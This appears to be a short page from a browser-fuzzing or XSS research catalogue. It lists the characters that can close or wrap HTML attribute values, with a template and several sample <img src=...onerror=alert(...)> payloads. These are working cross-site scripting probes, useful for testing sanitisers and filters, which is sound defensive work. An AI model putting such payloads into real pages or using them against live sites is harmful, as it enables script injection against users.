Characters that close or encapsulate HTML attribute values

Characters that can be used to close or encapsulate HTML attribute values.

Created byola456

Created Nov 5, 2024

Updated May 28, 2025

Detecting browser...

CategoryDOM Behavior

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<img src=$[chr]x$[chr]onerror=log($[i])>

Sample payloads

<img src=0x09x0x09onerror=alert(9)>

<img src=
x
onerror=alert(10)>

<img src=0x0Cx0x0Conerror=alert(12)>

<img src=0x0Dx0x0Donerror=alert(13)>

<img src= x onerror=alert(32)>

<img src="x"onerror=alert(34)>

<img src='x'onerror=alert(39)>